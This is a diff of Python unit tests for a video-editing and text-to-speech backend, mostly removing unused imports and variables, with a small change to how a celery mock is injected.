|
||||
a3 = _create_asset(asset_repo, name="c.mp4")
|
||||
_create_asset(asset_repo, name="c.mp4")
|
||||
# 无标签
|
||||
|
||||
# 按 tag1 筛选 → a1, a2
|
||||
|
||||
@@ -8,8 +8,6 @@ from __future__ import annotations
|
||||
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
class TestAudioUrlSigner:
|
||||
"""测试音频URL签名函数的行为。"""
|
||||
|
||||
@@ -10,10 +10,9 @@ sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
from typing import Any
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
from app.services.auto_clip_service import AutoClipService, ClipAssignDetail
|
||||
from app.services.auto_clip_service import AutoClipService
|
||||
|
||||
# ── Stub 实体 ─────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
@@ -20,7 +20,6 @@ from unittest.mock import MagicMock
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
import pytest
|
||||
|
||||
# 确保 app 模块可导入
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
|
||||
@@ -12,12 +12,9 @@ from __future__ import annotations
|
||||
|
||||
import importlib.util
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
def _load_settings_class():
|
||||
"""
|
||||
|
||||
@@ -15,9 +15,8 @@ from __future__ import annotations
|
||||
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Any, Optional
|
||||
from typing import Any
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
@@ -41,7 +40,7 @@ class TestNormalizePlanConfig:
|
||||
assert result == DEFAULT_EDIT_PLAN_CONFIG.copy()
|
||||
|
||||
def test_empty_dict_returns_full_defaults(self):
|
||||
from packages.domain.config_schemas import DEFAULT_EDIT_PLAN_CONFIG, normalize_plan_config
|
||||
from packages.domain.config_schemas import normalize_plan_config
|
||||
|
||||
result = normalize_plan_config({})
|
||||
assert result["cover"]["type"] == "ai_frame"
|
||||
@@ -363,7 +362,7 @@ def _create_ai_test_app():
|
||||
from fastapi import FastAPI
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from packages.domain.edit_plan import EditPlan, EditPlanStatus
|
||||
from packages.domain.edit_plan import EditPlan
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
|
||||
@@ -37,13 +37,10 @@ if "worker_app.celery_app" in sys.modules and isinstance(sys.modules["worker_app
|
||||
if "worker_app.db" in sys.modules and isinstance(sys.modules["worker_app.db"], MagicMock):
|
||||
sys.modules["worker_app.db"].SessionLocal = MagicMock()
|
||||
|
||||
# Mock celery.Task base class — 仅在 celery 不可用时注入 mock,避免污染真实包
|
||||
try:
|
||||
import celery as _real_celery # noqa: F401
|
||||
except ImportError:
|
||||
_mock_if_absent("celery", MagicMock())
|
||||
if "celery" in sys.modules and isinstance(sys.modules["celery"], MagicMock):
|
||||
sys.modules["celery"].Task = object
|
||||
# Mock celery.Task base class
|
||||
_mock_if_absent("celery", MagicMock())
|
||||
if "celery" in sys.modules and isinstance(sys.modules["celery"], MagicMock):
|
||||
sys.modules["celery"].Task = object
|
||||
|
||||
# Mock packages.shared.storage
|
||||
_mock_if_absent("packages.shared")
|
||||
|
||||
@@ -22,7 +22,7 @@ from packages.application.duplication import (
|
||||
UploadForDuplicationCommand,
|
||||
UploadForDuplicationUseCase,
|
||||
)
|
||||
from packages.domain.duplication import DuplicateSegment, DuplicationRecord
|
||||
from packages.domain.duplication import DuplicationRecord
|
||||
|
||||
|
||||
def _make_record(status="pending", **kwargs):
|
||||
|
||||
@@ -12,7 +12,6 @@ from __future__ import annotations
|
||||
import os
|
||||
import sys
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime, timezone
|
||||
from typing import Any, Optional
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
|
||||
@@ -13,7 +13,6 @@ from __future__ import annotations
|
||||
import os
|
||||
import sys
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime, timezone
|
||||
from types import ModuleType
|
||||
from typing import Any, Optional
|
||||
from unittest.mock import MagicMock, patch
|
||||
@@ -176,7 +175,6 @@ class TestRenderEditPlanFailureUpdatesGenTask:
|
||||
gen_task = StubGenerationTask(id="gen-task-001", status=_StubStatus("running"))
|
||||
|
||||
plan_repo = StubPlanRepo(plan)
|
||||
clip_repo = StubClipRepo([])
|
||||
gen_task_repo = StubGenTaskRepo(gen_task)
|
||||
|
||||
# 让 clip_repo 抛异常以触发 except 路径
|
||||
|
||||
@@ -13,7 +13,6 @@ from __future__ import annotations
|
||||
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
@@ -16,8 +16,8 @@ import os
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Any, List, Optional
|
||||
from unittest.mock import MagicMock, patch
|
||||
from typing import List, Optional
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
@@ -27,7 +27,7 @@ import pytest
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
|
||||
from packages.domain.edit_template import EditTemplate, EditTemplateStatus
|
||||
from packages.domain.template_clip_config import ClipType, TemplateClipConfig, TransitionEffect
|
||||
from packages.domain.template_clip_config import ClipType, TemplateClipConfig
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Stub Repositories
|
||||
@@ -273,7 +273,7 @@ class TestEditTemplateServiceCRUD:
|
||||
|
||||
def test_list_templates_active_only(self):
|
||||
svc = _make_service()
|
||||
t1 = svc.create_template(name="活跃")
|
||||
svc.create_template(name="活跃")
|
||||
t2 = svc.create_template(name="停用")
|
||||
svc.deactivate_template(t2.id)
|
||||
result = svc.list_templates(active_only=True)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
邮件服务测试
|
||||
"""
|
||||
|
||||
from unittest.mock import MagicMock, Mock, patch
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@@ -5,10 +5,8 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import time
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from packages.adapters.redis.feature_flag_store import (
|
||||
FeatureFlagConfig,
|
||||
@@ -337,7 +335,6 @@ class TestRedisStoreDegradation:
|
||||
|
||||
def test_get_returns_default_when_redis_unavailable(self):
|
||||
"""Redis 连接失败时返回默认关闭配置,不抛异常。"""
|
||||
import importlib
|
||||
|
||||
from packages.adapters.redis import feature_flag_store as ff_module
|
||||
|
||||
@@ -358,7 +355,6 @@ class TestRedisStoreDegradation:
|
||||
|
||||
def test_list_all_returns_empty_on_redis_error(self):
|
||||
"""Redis 错误时 list_all 返回空字典。"""
|
||||
import importlib
|
||||
|
||||
from packages.adapters.redis import feature_flag_store as ff_module
|
||||
|
||||
|
||||
@@ -21,7 +21,6 @@ from unittest.mock import MagicMock
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
import pytest
|
||||
|
||||
# 确保 app 模块可导入
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
|
||||
@@ -11,18 +11,14 @@ from __future__ import annotations
|
||||
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from types import ModuleType
|
||||
from typing import Any
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
# ── Mock worker 模块以避免数据库连接 ──────────────────────────────────────────
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "apps", "worker"))
|
||||
@@ -226,8 +222,6 @@ def test_legacy_engine_two_clips_concat_duration():
|
||||
import subprocess
|
||||
import tempfile
|
||||
|
||||
from video_processing.ffmpeg_utils import probe_duration
|
||||
|
||||
from apps.worker.worker_app.tasks.generation import _render_with_legacy_engine
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
|
||||
@@ -17,7 +17,7 @@ from __future__ import annotations
|
||||
import json
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import patch
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "worker"))
|
||||
|
||||
@@ -12,7 +12,7 @@ from __future__ import annotations
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
@@ -429,7 +429,7 @@ class TestListJobsUseCase:
|
||||
|
||||
def test_list_by_project_with_status_filter(self, repo):
|
||||
create_uc = CreateJobUseCase(repo)
|
||||
j1 = create_uc.execute(CreateJobCommand(project_id="proj-1", job_type=JobType.VIDEO_COMPOSE))
|
||||
create_uc.execute(CreateJobCommand(project_id="proj-1", job_type=JobType.VIDEO_COMPOSE))
|
||||
j2 = create_uc.execute(CreateJobCommand(project_id="proj-1", job_type=JobType.VIDEO_COMPOSE))
|
||||
j2.mark_running()
|
||||
repo.update(j2)
|
||||
@@ -460,7 +460,7 @@ class TestListJobsUseCase:
|
||||
class TestGetJobStatisticsUseCase:
|
||||
def test_statistics(self, repo):
|
||||
create_uc = CreateJobUseCase(repo)
|
||||
j1 = create_uc.execute(CreateJobCommand(project_id="proj-1", job_type=JobType.VIDEO_COMPOSE))
|
||||
create_uc.execute(CreateJobCommand(project_id="proj-1", job_type=JobType.VIDEO_COMPOSE))
|
||||
j2 = create_uc.execute(CreateJobCommand(project_id="proj-1", job_type=JobType.VIDEO_COMPOSE))
|
||||
j2.mark_running()
|
||||
repo.update(j2)
|
||||
|
||||
@@ -15,8 +15,6 @@ import time
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
# ── oss_bucket connect_timeout 测试 ───────────────────────────────────────────
|
||||
|
||||
|
||||
|
||||
@@ -9,7 +9,6 @@ from __future__ import annotations
|
||||
import logging
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
from video_processing.ffmpeg_utils import build_xfade_filter_chain
|
||||
|
||||
# ── P0-3: build_xfade_filter_chain 安全钳制 ──────────────────────────────────
|
||||
|
||||
@@ -11,8 +11,6 @@ from __future__ import annotations
|
||||
import os
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
# ── oss_bucket endpoint scheme 修复 ──────────────────────────────────────────
|
||||
|
||||
|
||||
@@ -34,11 +32,10 @@ class TestOSSBucketEndpointScheme:
|
||||
"OSS_BUCKET_NAME": "test-bucket",
|
||||
},
|
||||
),
|
||||
patch("video_processing.oss_helpers.oss2.Auth") as mock_auth,
|
||||
patch("video_processing.oss_helpers.oss2.Auth"),
|
||||
patch("video_processing.oss_helpers.oss2.Bucket", return_value=mock_bucket_instance) as mock_bucket_cls,
|
||||
):
|
||||
# 清除缓存,确保重新创建
|
||||
import video_processing.oss_helpers as oss_mod
|
||||
|
||||
bucket = oss_bucket()
|
||||
|
||||
@@ -67,9 +64,8 @@ class TestOSSBucketEndpointScheme:
|
||||
patch("video_processing.oss_helpers.oss2.Auth"),
|
||||
patch("video_processing.oss_helpers.oss2.Bucket", return_value=mock_bucket_instance) as mock_bucket_cls,
|
||||
):
|
||||
import video_processing.oss_helpers as oss_mod
|
||||
|
||||
bucket = oss_bucket()
|
||||
oss_bucket()
|
||||
|
||||
call_args = mock_bucket_cls.call_args
|
||||
endpoint_arg = call_args[0][1]
|
||||
@@ -95,9 +91,8 @@ class TestOSSBucketEndpointScheme:
|
||||
patch("video_processing.oss_helpers.oss2.Auth"),
|
||||
patch("video_processing.oss_helpers.oss2.Bucket", return_value=mock_bucket_instance) as mock_bucket_cls,
|
||||
):
|
||||
import video_processing.oss_helpers as oss_mod
|
||||
|
||||
bucket = oss_bucket()
|
||||
oss_bucket()
|
||||
|
||||
call_args = mock_bucket_cls.call_args
|
||||
endpoint_arg = call_args[0][1]
|
||||
@@ -117,7 +112,6 @@ class TestOSSBucketEndpointScheme:
|
||||
},
|
||||
clear=True,
|
||||
):
|
||||
import video_processing.oss_helpers as oss_mod
|
||||
|
||||
bucket = oss_bucket()
|
||||
assert bucket is None
|
||||
@@ -177,7 +171,7 @@ class TestGetSignedDownloadUrl:
|
||||
patch("video_processing.oss_helpers.oss2.Auth"),
|
||||
patch("video_processing.oss_helpers.oss2.Bucket", return_value=mock_bucket),
|
||||
):
|
||||
result = get_signed_download_url("https://test-bucket.oss-cn-hangzhou.aliyuncs.com/generated/test.mp4")
|
||||
get_signed_download_url("https://test-bucket.oss-cn-hangzhou.aliyuncs.com/generated/test.mp4")
|
||||
|
||||
mock_bucket.sign_url.assert_called_once()
|
||||
# 验证传给 sign_url 的是纯 storage key,不是完整 URL
|
||||
|
||||
@@ -300,7 +300,7 @@ from sqlalchemy.orm import sessionmaker
|
||||
from packages.adapters.sqlalchemy_impl.edit_plan_clip_repository import (
|
||||
SQLAlchemyEditPlanClipRepository,
|
||||
)
|
||||
from packages.adapters.sqlalchemy_impl.models import Base, EditPlanClipModel, TemplateClipConfigModel
|
||||
from packages.adapters.sqlalchemy_impl.models import Base
|
||||
from packages.adapters.sqlalchemy_impl.template_clip_config_repository import (
|
||||
SQLAlchemyTemplateClipConfigRepository,
|
||||
)
|
||||
|
||||
@@ -8,7 +8,7 @@ sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
import logging
|
||||
|
||||
from sqlalchemy import create_engine
|
||||
from sqlalchemy.orm import Session, sessionmaker
|
||||
from sqlalchemy.orm import sessionmaker
|
||||
|
||||
from packages.adapters.sqlalchemy_impl.edit_plan_repository import (
|
||||
SQLAlchemyEditPlanRepository,
|
||||
|
||||
@@ -16,13 +16,12 @@ import os
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Any, List, Optional
|
||||
from typing import List, Optional
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
import pytest
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
|
||||
|
||||
@@ -6,12 +6,10 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
from video_processing.render_adapter import RenderAdapter, RenderAdapterResult
|
||||
from video_processing.render_adapter import RenderAdapter
|
||||
|
||||
# ── Fixtures ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -318,7 +316,7 @@ class TestRenderPlan:
|
||||
def progress_cb(progress: float, stage: str) -> None:
|
||||
progress_values.append((progress, stage))
|
||||
|
||||
result = adapter.render_plan(
|
||||
adapter.render_plan(
|
||||
"plan_001",
|
||||
work_dir=tmp_path / "work",
|
||||
progress_cb=progress_cb,
|
||||
|
||||
@@ -3,8 +3,7 @@ Redis Session 存储测试
|
||||
"""
|
||||
|
||||
import json
|
||||
from datetime import datetime
|
||||
from unittest.mock import MagicMock, Mock
|
||||
from unittest.mock import Mock
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@@ -14,7 +14,6 @@ from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from packages.adapters.sqlalchemy_impl.generation_task_repository import SQLAlchemyGenerationTaskRepository
|
||||
from packages.adapters.sqlalchemy_impl.tts_job_repository import SQLAlchemyTTSJobRepository
|
||||
from packages.adapters.sqlalchemy_impl.voice_clone_profile_repository import SQLAlchemyVoiceCloneProfileRepository
|
||||
from packages.domain.generation_task import GenerationTaskStatus
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
Template Use Cases 单元测试 — 剪辑计划模板 CRUD + 业务规则校验
|
||||
"""
|
||||
|
||||
from unittest.mock import MagicMock, Mock
|
||||
from unittest.mock import Mock
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@@ -9,7 +9,6 @@ from __future__ import annotations
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from packages.application.cosyvoice_service import CosyVoiceService
|
||||
from packages.application.tts_job.workflow import TTSWorkflowService
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -287,7 +287,6 @@ class TestSaveToLibraryUseCase:
|
||||
repo = MagicMock()
|
||||
repo.count_by_user.return_value = 0 # 配额未满
|
||||
|
||||
expected_item = _make_voice_library_item()
|
||||
repo.create.side_effect = lambda item: item
|
||||
|
||||
use_case = CreateVoiceLibraryUseCase(repo)
|
||||
|
||||
@@ -11,7 +11,7 @@ from __future__ import annotations
|
||||
import os
|
||||
import tempfile
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import MagicMock, call, patch
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@@ -9,14 +9,12 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from packages.application.cosyvoice_service import CosyVoiceError, CosyVoiceService
|
||||
from packages.application.tts_job.streaming_service import (
|
||||
TTSStreamingError,
|
||||
TTSStreamingService,
|
||||
)
|
||||
|
||||
|
||||
@@ -6,9 +6,8 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@@ -12,7 +12,6 @@ from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
from video_processing.unified_render_service import (
|
||||
RenderLayer,
|
||||
RenderResult,
|
||||
ResolvedClip,
|
||||
UnifiedRenderService,
|
||||
@@ -683,7 +682,7 @@ class TestAssSubtitles:
|
||||
def test_generate_ass_with_subtitle_only(self, tmp_path):
|
||||
"""只有字幕时生成 ASS 文件。"""
|
||||
ass_path = tmp_path / "test.ass"
|
||||
result = generate_ass_subtitles(
|
||||
generate_ass_subtitles(
|
||||
ass_path,
|
||||
video_width=1280,
|
||||
video_height=720,
|
||||
|
||||
@@ -20,7 +20,6 @@ from unittest.mock import MagicMock
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
import pytest
|
||||
|
||||
# 确保 app 模块可导入
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
|
||||
@@ -13,7 +13,6 @@ import uuid
|
||||
import pytest
|
||||
|
||||
from packages.adapters.sqlalchemy_impl.models import (
|
||||
Base,
|
||||
ClassificationJobModel,
|
||||
EditPlanClipModel,
|
||||
EditPlanModel,
|
||||
|
||||
@@ -14,15 +14,14 @@ sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
|
||||
from app.services.video_compose_service import (
|
||||
ComposeCommand,
|
||||
ComposeValidation,
|
||||
VideoComposeService,
|
||||
_build_concat_filter,
|
||||
_build_xfade_filter,
|
||||
_chain_filters,
|
||||
)
|
||||
|
||||
from packages.domain.edit_plan import EditPlan, EditPlanStatus
|
||||
from packages.domain.edit_plan_clip import EditPlanClip, EditPlanClipStatus
|
||||
from packages.domain.edit_plan import EditPlanStatus
|
||||
from packages.domain.edit_plan_clip import EditPlanClipStatus
|
||||
|
||||
# ── Stub 实体 ─────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
4. 边界条件与异常场景
|
||||
"""
|
||||
|
||||
from unittest.mock import MagicMock, Mock, call
|
||||
from unittest.mock import Mock
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
Reference in New Issue
Block a user